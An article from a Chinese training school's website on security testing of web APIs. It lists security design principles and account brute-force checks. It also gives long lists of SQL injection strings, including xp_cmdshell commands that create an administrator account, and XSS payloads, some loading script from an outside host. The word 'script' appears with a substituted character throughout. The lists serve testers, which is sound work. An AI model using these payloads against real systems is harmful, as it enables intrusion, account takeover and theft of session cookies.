千锋教育-做有情怀、有良心、有品质的职业教育机构

手机站
千锋教育

千锋学习站 | 随时随地免费学

千锋教育

扫一扫进入千锋手机站

领取全套视频
千锋教育

关注千锋学习站小程序
随时随地免费学习课程

当前位置:首页  >  技术干货  > 基于接口的安全测试你会了吗

基于接口的安全测试你会了吗

来源:千锋教育
发布人:qyf
时间: 2022-09-02 17:00:46 1662109246

基于接口的安全测试你会了吗

  一、 接口测试安全场景

  相信大家都曾经为黄牛票而愤愤不平吧,但你只能忍气吞声,毕竟懂技术的流氓更可怕,像携程加速、飞猪加速也用过吧,这种流氓更让人无可奈何。

  其实了解了接口测试,就不再去“神话“他们“黄牛逼”。

  无非就是在一定的授权范围内,不断的批量去请求12306的购票端口,借助自身更大的带宽和算力去pk我们普通用户而已,在12306出了候补后,基本就没啥用了。

  安全测试说白了就是攻与防的问题,知己知彼才能百战百胜。

  二、 接口安全设计的原则

  现在前后段分离式设计,web系统、APP的接口都采用restful架构,restful最重要的一个设计原则就是客户端与服务端的交互在请求之间是无状态的,并采用token的认证方式,以便在多端设备进行鉴权。

  1、尽量使用更安全的https协议报文

  2、接口参数采用非对称加密算法进行签名

  3、接口参数需要校验,如表单提交使用验证码进行校验

  4、多次失败后需要有锁定机制,防止爆破

  5、接口对应用户权限,用户只能调用有权限的接口

  6、系统接口做过负荷机制用来保护系统安全

  7、接口尽量少返回服务错误信息给用户

  三、 接口安全测试

  1、sql注入

  Sql注入可以算是最常见的一种攻击手段了,作为测试人员,一定要熟悉各种sql注入的手段,在测试过程中就封堵这个风险,当然现在的很多开发框架也具备了防范sql注入的能力。

  测试中,我们需要设置如下的注入案例:

  admin'--

  ' or 0=0 --

  " or 0=0 --

  or 0=0 --

  ' or 0=0 #

  " or 0=0 #

  or 0=0 #

  ' or 'x'='x

  " or "x"="x

  ') or ('x'='x

  ' or 1=1--

  " or 1=1--

  or 1=1--

  ' or a=a--

  " or "a"="a

  ') or ('a'='a

  ") or ("a"="a

  hi" or "a"="a

  hi" or 1=1 --

  hi' or 1=1 --

  hi' or 'a'='a

  hi') or ('a'='a

  hi") or ("a"="a[/code]

  'and ( ) exec insert * % chr mid

  and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2

  'and 1=1 ; 'And 1=1 ; 'aNd 1=1 ;

  and 1=2 ; 'and 1=2

  and 2=2

  and user>0

  and (select count(*) from sysobjects)>0

  and (select count(*) from msysobjects)>0

  and (Select Count(*) from Admin)>=0

  and (select top 1 len(username) from Admin)>0(username 已知字段)

  ;exec master..xp_cmdshell "net user name password /add"--

  ;exec master..xp_cmdshell "net localgroup name administrators /add"--

  and 0<>(select count(*) from admin)

  2、xss攻击

  利用XSS的攻击者进行攻击时会向页面插入恶意Script代码,当用户浏览该页面时,嵌入在页面里的Script代码会被执行,从而达到攻击用户的目的。同样会造成用户的认证信息被获取,仿冒用户登录,造成用户信息泄露等危害。

  测试中,我们需要设置如下的xss攻击案例:

><scrīpt>alert(document.cookie)</scrīpt>

='><scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(document.cookie)</scrīpt>

<scrīpt>alert(helloworld)</scrīpt>

%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E

<scrīpt>alert('XSS')</scrīpt>

<img src="javascrīpt:alert('XSS')">

<scrīpt>alert('linda is ok');</scrīpt>

<scrīpt>alert('Vulnerable')</scrīpt>

?sql_debug=1

a%5c.aspx

a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>

a/

a?<scrīpt>alert('Vulnerable')</scrīpt>

"><scrīpt>alert('Vulnerable')</scrīpt>

';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&

%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E

%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&

%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=

1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

<IMG SRC="jav ascrīpt:alert('XSS');">

"<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out

<IMG SRC=" javascrīpt:alert('XSS');">

<scrīpt>a=/XSS/alert(a.source)</scrīpt>

<BODY BACKGROUND="javascrīpt:alert('XSS')">

<BODY ōNLOAD=alert('XSS')>

<IMG DYNSRC="javascrīpt:alert('XSS')">

<IMG LOWSRC="javascrīpt:alert('XSS')">

<BGSOUND SRC="javascrīpt:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">

<IMG SRC='vbscrīpt:msgbox("XSS")'>

<IMG SRC="mocha:[code]">

<IMG SRC="livescrīpt:[code]">

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">

SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

<scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

  3、用户账号及暴力攻击

  用户账号信息是访问系统获取服务的最关键的一环,如果泄露了信息就没有任何安全可言,通过利用账户登录接口大量猜测和穷举的方式来尝试获取用户口令。就是猜口令咯,攻击者一直枚举进行请求,通过对比数据包的长度可以很好的判断是否爆破成功,因为爆破成功和失败的长度是不一样的,所以可以很好的判断是否爆破成功。

  作为测试人员,需要对账户信息进行如下测试:

  检测接口程序连接登录时,是否需要输入相应的用户

  是否设置密码最小长度

  用户名和密码中是否可以有空格或回车?

  是否允许密码和用户名一致

  防恶意注册:可否用自动填表工具自动注册用户?

  遗忘密码处理是否有校验码?

  密码错误次数有无限制?

  大小写敏感?

  口令不允许以明码显示在输出设备上

  强制修改的时间间隔限制(初始默认密码)

  口令的唯一性限制(看需求是否需要)

  口令过期失效后,是否可以不登陆而直接浏览某个页面

  更多关于软件测试培训的问题,欢迎咨询千锋教育在线名师。千锋教育拥有多年IT培训服务经验,采用全程面授高品质、高体验培养模式,拥有国内一体化教学管理及学员服务,助力更多学员实现高薪梦想。

tags:
声明:本站稿件版权均属千锋教育所有,未经许可不得擅自转载。
10年以上业内强师集结,手把手带你蜕变精英
请您保持通讯畅通,专属学习老师24小时内将与您1V1沟通
免费领取
今日已有369人领取成功
刘同学 138****2860 刚刚成功领取
王同学 131****2015 刚刚成功领取
张同学 133****4652 刚刚成功领取
李同学 135****8607 刚刚成功领取
杨同学 132****5667 刚刚成功领取
岳同学 134****6652 刚刚成功领取
梁同学 157****2950 刚刚成功领取
刘同学 189****1015 刚刚成功领取
张同学 155****4678 刚刚成功领取
邹同学 139****2907 刚刚成功领取
董同学 138****2867 刚刚成功领取
周同学 136****3602 刚刚成功领取
相关推荐HOT